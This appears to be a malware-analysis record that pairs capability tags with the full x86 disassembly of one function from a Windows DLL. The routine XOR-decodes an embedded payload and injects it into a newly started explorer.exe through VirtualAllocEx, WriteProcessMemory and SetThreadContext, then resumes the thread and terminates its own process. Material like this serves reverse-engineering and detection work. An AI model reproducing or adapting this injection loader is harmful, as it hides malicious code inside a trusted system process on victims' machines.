Function at 0x100016d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x330
mov eax, dword [0x10005004]
xor eax, esp
mov dword [esp + 0x32c], eax
sub dword [ebp + 0xc], 1
push esi
push edi
jne 0x10001920
call dword [sym.imp.KERNEL32.dll_FreeConsole]
movaps xmm2, xmmword [0x10003340]
xor eax, eax
nop word [eax + eax]
movups xmm0, xmmword [eax + 0x10005018]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x10005018], xmm1
movups xmm0, xmmword [eax + 0x10005028]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x10005028], xmm1
movups xmm0, xmmword [eax + 0x10005038]
movaps xmm1, xmm2
xorps xmm0, xmm2
movups xmmword [eax + 0x10005038], xmm0
movups xmm0, xmmword [eax + 0x10005048]
xorps xmm1, xmm0
movups xmmword [eax + 0x10005048], xmm1
add eax, 0x40
cmp eax, 0x33800
jb 0x10001710
cmp eax, 0x33809
jae 0x1000177f
nop
xor byte [eax + 0x10005018], 0x9f
inc eax
cmp eax, 0x33809
jb 0x10001770
push 0x33809
call fcn.10001b7e
add esp, 4
mov esi, eax
push 0x33808
lea ecx, [esi + 1]
push 0
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov byte [esi], 0
xor edx, edx
mov ecx, 0x10038820
nop dword [eax + eax]
mov al, byte [ecx]
lea edx, [edx + 1]
dec ecx
mov byte [edx + esi - 1], al
cmp ecx, 0x10005018
jge 0x100017b0
lea eax, [esi + 0x33808]
xor ecx, ecx
cmp eax, 0x10005018
jb 0x100017f8
cmp esi, 0x10038820
ja 0x100017f8
sub esi, 0x10005018
nop
mov al, byte [esi + ecx + 0x10005018]
mov byte [ecx + 0x10005018], al
inc ecx
cmp ecx, 0x33808
jbe 0x100017e0
jmp 0x1000180b
push 0x33809
push esi
push 0x10005018
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0x40
push 0x3000
push 0x33809
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x33809
mov edi, eax
push 0x10005018
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esp + 0x18], 0x44
lea eax, [esp + 8]
xorps xmm0, xmm0
movlpd qword [esp + 0x1c], xmm0
movlpd qword [esp + 0x24], xmm0
push eax
lea eax, [esp + 0x1c]
movlpd qword [esp + 0x30], xmm0
push eax
push 0
push 0
push 0x44
push 0
push 0
push 0
push str.explorer.exe
push 0
movlpd qword [esp + 0x5c], xmm0
movlpd qword [esp + 0x64], xmm0
movlpd qword [esp + 0x6c], xmm0
movlpd qword [esp + 0x74], xmm0
movlpd qword [esp + 0x7c], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1000190c
lea eax, [esp + 0x60]
mov dword [esp + 0x60], 0x10003
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0x40
push 0x1000
push 0x33809
push 0
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push 0x33809
push edi
mov esi, eax
push esi
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x60]
mov dword [esp + 0x118], esi
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 8]
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.10001290
mov ecx, dword [esp + 0x334]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.10001b32
mov esp, ebp
pop ebp
ret 0xc